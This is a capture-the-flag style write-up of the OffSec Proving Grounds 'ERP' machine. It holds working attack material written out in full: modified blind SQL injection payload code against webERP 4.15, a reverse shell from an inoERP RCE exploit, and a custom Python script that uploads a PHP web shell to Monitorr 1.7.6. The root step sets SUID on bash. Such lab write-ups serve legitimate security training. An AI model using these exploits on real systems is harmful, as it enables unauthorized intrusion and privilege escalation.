Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - ERP

·2408 words·12 mins·
OFFSEC PG PRACTICE WEBERP INOERP SSH REMOTE PORT FORWARD MONITORR
Table of Contents

Summary
#

Gobuster on port 80 reveals a webERP 4.15 application configured with weak (default) credentials. Using an SQL injection exploit (CVE-2019-13292) we can enumerate the available databases and see there is also an inoERP 0.5.2 application running on the target, which has an unauthenticated remote code execution vulnerability. Using this exploit we get initial access as the www-data user. Once on the target we find an application running on port 8443. Using an SSH remote remote port forward we can access this port locally and see the monitorr 1.7.6 application is running on this port. With an unauthenticated RCE exploit for this application we escalate our privileges to the root user.

Specifications
#

  • Name: ERP
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • System overview: Linux erp 5.4.0-125-generic #141-Ubuntu SMP Wed Aug 10 13:42:03 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.142.227
  • OFFSEC provided credentials: None
  • HASH: local.txt:47a82d257f4458f148415fee454c1364
  • HASH: proof.txt:fdbbae2479139dbdd29c26275ead240d

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir erp && cd erp && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 27 07:46 .
drwxrwxr-x 79 kali kali 4096 Sep 27 07:46 ..
drwxrwxr-x  2 kali kali 4096 Sep 27 07:46 enum
drwxrwxr-x  2 kali kali 4096 Sep 27 07:46 exploits
drwxrwxr-x  2 kali kali 4096 Sep 27 07:46 files
drwxrwxr-x  2 kali kali 4096 Sep 27 07:46 tools
drwxrwxr-x  2 kali kali 4096 Sep 27 07:46 uploads

## set bash variable
ip=192.168.142.227

## ping target to check if it's online
ping $ip

PING 192.168.142.227 (192.168.142.227) 56(84) bytes of data.
64 bytes from 192.168.142.227: icmp_seq=1 ttl=61 time=22.4 ms
64 bytes from 192.168.142.227: icmp_seq=2 ttl=61 time=23.2 ms
^C
--- 192.168.142.227 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 22.401/22.776/23.152/0.375 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.142.227:22
Open 192.168.142.227:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-27 07:50 CEST
Initiating Ping Scan at 07:50
Scanning 192.168.142.227 [4 ports]
Completed Ping Scan at 07:50, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:50
Completed Parallel DNS resolution of 1 host. at 07:50, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:50
Scanning 192.168.142.227 [2 ports]
Discovered open port 22/tcp on 192.168.142.227
Discovered open port 80/tcp on 192.168.142.227
Completed SYN Stealth Scan at 07:50, 0.06s elapsed (2 total ports)
Nmap scan report for 192.168.142.227
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-09-27 07:50:00 CEST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
|   256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: TsukorERP
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: TsukorERP
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Browsing to port 80 (http://192.168.142.227) gives us a login form for TsukorERP, but we don’t get much further.I

So, let’s run gobuster to see if there are interesting directories.

## run `gobuster`
gobuster dir -t 100 -u http://$ip:80/ -w /usr/lib/python3/dist-packages/autorecon/wordlists/dirbuster.txt | tee enum/dirbuster-dir-raw-80
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.142.227:80/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/lib/python3/dist-packages/autorecon/wordlists/dirbuster.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 280]
/.htpasswd            (Status: 403) [Size: 280]
/css                  (Status: 301) [Size: 316] [--> http://192.168.142.227/css/]
/.htaccess            (Status: 403) [Size: 280]
/robots.txt           (Status: 200) [Size: 39]
/server-status        (Status: 403) [Size: 280]
<SNIP>

There is a robots.txt file at the URL: (http://192.168.142.227/robots.txt), which contains: /weberp/index.php as allowed. Browsing to this URL: (http://192.168.142.227/weberp/index.php) we see a login form of the webERP application.

Searching online we can find the default credentials of this application: https://infrastacklabs.wordpress.com/2016/08/24/resetting-weberp-password-for-admin-user/, as: admin:weberp. Using the default credentials allows us to log into the application. We can see the version of the application: webERP 4.15.

Using this information we can find an SQL injection exploit (CVE-2019-13292): https://github.com/rootsecdev/weberp. This is a Python3 port of the original exploit. Let’s download the exploit and see if it is successful. Be aware that the running of the exploits takes a long time to give feedback, but the SQLi is confirmed.

## change directory
cd exploits

## download the exploit
wget https://raw.githubusercontent.com/rootsecdev/weberp/refs/heads/main/47013.py

## run the exploit
python3 47013.py 192.168.142.227 "weberp" admin weberp 0
Blind sqli is confirmed

Now change the exploit from rule 78 downwards with this to determine how many databases there are.

    i=1
    while True:
        
        payload = generatePayload("0", "1' or IF((SELECT COUNT(*) FROM information_schema.SCHEMATA)="+str(i)+", sleep(1),FALSE) or '2'='1")
        
        # SELECT;
        #get cookies
        cookies = getCookies(ip, sys.argv[5], sys.argv[3], sys.argv[4])
        
        addSupplierID("GARUMPAGE", cookies, proxies)
        
        t1 = time.time()
        runExploit(cookies, "GARUMPAGE", payload, proxies)
        t2 = time.time()
    
        if (t2-t1>1):
            print("number of databases on the server: " + str(i))
            break
        else:
            i=i+1

When we run the exploit again we see there are three databases.

## run the altered exploit
python3 47013.py 192.168.142.227 "weberp" admin weberp 0
number of databases on the server: 3

Let’s change the exploit again from rule 78 downwards to get the names of the databases.

    for i in range(1, 50):
        dictionary = " ,abcdefghijklmnopqrstuvwxyz0123456789_"
        for j in range(0, len(dictionary)):
            # get databases
            payload = generatePayload("0", "-12' or sleep(IF((SELECT substring(group_concat(schema_name),%s,1) FROM information_schema.schemata" \
                                      " WHERE schema_name NOT IN ('information_schema','mysql','performance_schema')) = '%s', 1, 0)) and '1'='1" % (i, dictionary[j]))
            
            # get cookies
            cookies = getCookies(ip, sys.argv[5], sys.argv[3], sys.argv[4])
            
            addSupplierID("GARUMPAGE", cookies, proxies)
            
            t1 = time.time()
            runExploit(cookies, "GARUMPAGE", payload, proxies)
            t2 = time.time()
            
            if (t2-t1>4) and j == 0:
                print("Finish")
                sys.exit()
            elif (t2-t1>4) and j == 1:
                print("\n")
            elif (t2-t1>4):
                print(dictionary[j])
                break

When we run the exploit we get two names: inoerp_db and weberp_db.

## run the altered exploit
python3 47013_2.py 192.168.142.227 "weberp" admin weberp 0
i
n
o
e
r
p
_
d
b


w
e
b
e
r
p
_
d
b
Finish

Because there is a URL: http://192.168.142.227/weberp/, we could also try: http://192.168.142.227/inoerp/. Indeed, we can access this URL, to get to the inoERP 0.5.2 application.

Using searchsploit to find an exploit we can find an unauthenticated remote code execution. Downloading and running the exploit we get initial access as the www-data user in the /var/www/html/inoerp/modules/sys/form_personalization directory.

## using searchsploit to find exploit
searchsploit inoerp               
------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                        |  Path
------------------------------------------------------------------------------------------------------ ---------------------------------
inoERP 0.6.1 - Cross-Site Scripting / Cross-Site Request Forgery / SQL Injection / Session Fixation   | php/webapps/41749.txt
InoERP 0.7.2 - Persistent Cross-Site Scripting                                                        | php/webapps/47428.txt
InoERP 0.7.2 - Remote Code Execution (Unauthenticated)                                                | php/webapps/48946.py
inoERP 4.15 - 'download' SQL Injection                                                                | php/webapps/47426.txt
------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results

## download the exploit
searchsploit -m php/webapps/48946.py
  Exploit: InoERP 0.7.2 - Remote Code Execution (Unauthenticated)
      URL: https://www.exploit-db.com/exploits/48946
     Path: /usr/share/exploitdb/exploits/php/webapps/48946.py
    Codes: N/A
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/hk/offsec/pg/practice/erp/exploits/48946.py

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160

## setup a listener on an already open port
nc -lvnp 80     
listening on [any] 80 ...

## run the exploit
python2 48946.py http://192.168.142.227/inoerp 192.168.45.160 80 

## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.142.227] 35386
bash: cannot set terminal process group (1027): Inappropriate ioctl for device
bash: no job control in this shell
www-data@erp:/var/www/html/inoerp/modules/sys/form_personalization$ 

## find `local.txt` on the filesystem
www-data@erp:/var/www/html/inoerp/modules/sys/form_personalization$ find / -iname 'local.txt' 2>/dev/null              
/home/local/local.txt

## print `local.txt`
www-data@erp:/var/www/html/inoerp/modules/sys/form_personalization$ cat /home/local/local.txt
47a82d257f4458f148415fee454c1364

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target
## change directory
www-data@erp:/var/www/html/inoerp/modules/sys/form_personalization$ cd /var/tmp
www-data@erp:/var/tmp$ 

## download `linpeas.sh` using the open port 8080
www-data@erp:/var/tmp$ wget http://192.168.45.160/linpeas.sh
--2025-09-27 06:01:28--  http://192.168.45.160/linpeas.sh
Connecting to 192.168.45.160:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                                          0%[                                                                                 linpeas.sh                                         95%[=================================================================================linpeas.sh                                        100%[=============================================================================================================>] 939.29K  4.11MB/s    in 0.2s    

2025-09-27 06:01:29 (4.11 MB/s) - ‘linpeas.sh’ saved [961834/961834]

## set the execution bit
www-data@erp:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
www-data@erp:/var/tmp$ ./linpeas.sh

The linpeas.sh output shows there is a port 8443 open on localhost on the target (127.0.0.1). Let’s setup a remote port forward using SSH. Setup a local SSH server and connect from the target to this SSH server

## locally:
## start local SSH server
sudo systemctl start ssh

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160

## on target:
## setup remote port forward on port 8443
www-data@erp:/tmp$ ssh kali@192.168.45.160 -R 8443:127.0.0.1:8443
Could not create directory '/var/www/.ssh'.
The authenticity of host '192.168.45.160 (192.168.45.160)' can't be established.
ECDSA key fingerprint is SHA256:2VDqM9bc/5EhKk+SnkMmrM/ctH3j8X7ybXmdBoglwXY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
kali@192.168.45.160's password: 
Linux kali 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Sep 27 14:44:30 2025 from 192.168.142.227
┏━(Message from Kali developers)
┃ This is a minimal installation of Kali Linux, you likely
┃ want to install supplementary tools. Learn how:
┃ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/
┗━(Run: “touch ~/.hushlogin” to hide this message)

Now the port is forwarded we can browse tot this port on localhost: (http://localhost:8443/). We see the application Monitorr 1.7.6 running on this port.

Using searchsploit or online we can find unauthenticated RCE’s, but most of these don’t work with this target. Below is a custom Python script that works, based on this one (https://cxsecurity.com/issue/WLB-2023020021). So, create a file called exploit.py in the ./exploits directory.

import requests
import random
import string

def payL(url, cmd):
    fileName = ''.join(random.choice(string.ascii_lowercase) for i in range(16)) + '.php'
    tf1 = requests.post(url + '/assets/php/upload.php', files=(
        ('fileToUpload', (fileName, 'GIF87a\n<?php\n$var=shell_exec(' + '"' + cmd + '"' + ');\necho "$var"\n?>')),
    ))
    tf2 = requests.get(url + '/assets/data/usrimg/' + fileName)
    print(tf2.text)

def argsetup():
    about = 'Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\n'
    return about

if __name__ == "__main__":
    print(argsetup())
    
    url = input("Enter the base url: ")
    
    while True:
        cmd = input("Command (or type 'exit' to quit): ")
        if cmd.lower() == 'exit':
            print("Exiting...")
            break
        payL(url, cmd)

We can now run the exploit. When asked to enter a base URL, enter (http://127.0.0.1:8443). The command we’re going to run is chmod +s /bin/bash and set the SUID bit on the bash binary. Using this binary we can escalate our privileges to the root user.

## locally:
## run the exploit
python3 exploit.py
Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution

Enter the base url: http://127.0.0.1:8443
Command (or type 'exit' to quit): chmod +s /bin/bash
GIF87a

## return to the target shell by exiting the SSH connection
exit

## on target:
## verify SUID bit is set on `bash` binary
www-data@erp:/var/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash

## escalate privileges using the `bash` binary
www-data@erp:/var/tmp$ bash -p
bash-5.0#

## print `proof.txt`
bash-5.0# cat /root/proof.txt
fdbbae2479139dbdd29c26275ead240d

References
#

[+] https://infrastacklabs.wordpress.com/2016/08/24/resetting-weberp-password-for-admin-user/
[+] https://github.com/rootsecdev/weberp
[+] https://raw.githubusercontent.com/rootsecdev/weberp/refs/heads/main/47013.py
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://cxsecurity.com/issue/WLB-2023020021

Related

OFFSEC - Proving Grounds - HETEMIT
·2153 words·11 mins
OFFSEC PG PRACTICE WERKZEUG SERVICE WRITABLE
Werkzeug/1.0.1 on port 50000 has RCE endpoint, gain initial access as cmeeks. Edit /etc/systemd/system/pythonapp.service and use sudo to reboot the target to escalate to root.
OFFSEC - Proving Grounds - FLIMSY
·1545 words·8 mins
OFFSEC PG PRACTICE APISIX APT UPDATE APT.CONF.D
OpenResty on port 43500 with APISIX/2.8 has RCE vulnerability (CVE-2022-24112). Exploit this and get initial access, write custom script in /etc/apt/apt.conf.d to escalate to root via cronjob.
OFFSEC - Proving Grounds - BANZAI
·2971 words·14 mins
OFFSEC PG PRACTICE HYDRA GOBUSTER MYSQL MYSQL UDF GCC
FTP on port 21 with weak credentials holds web dirirectory for port 8295. Upload PHP shell to gain initial access. MySQL UDF exploit sets SUID on bash and allows us to escalates to root.
OFFSEC - Proving Grounds - WHEELS
·1818 words·9 mins
OFFSEC PG PRACTICE XPATH HASHCAT
Wheels CarService website on port 80 has XPATH injection vulnerability which leads to gaining credentials for initial access. SUID on a binary with path traversal vulnerability to dump /etc/shadow. Crack hash with hashcat to gain root.
OFFSEC - Proving Grounds - BUNYIP
·3095 words·15 mins
OFFSEC PG PRACTICE PWNKIT
S3cur3 r3pl application on port 8000 is vulnerable to MD5 length extension, exploiting this gives initial access. Pwnkit (CVE-2021-4034) escalates to root.
OFFSEC - Proving Grounds - SPAGHETTI
·2624 words·13 mins
OFFSEC PG PRACTICE IRC PYBOT PWNKIT
IRC server on port 6667, message to bot gives access to source code. Analyzing code gives code exeecution and initial access. Pwnkit exploit used to escalate to root.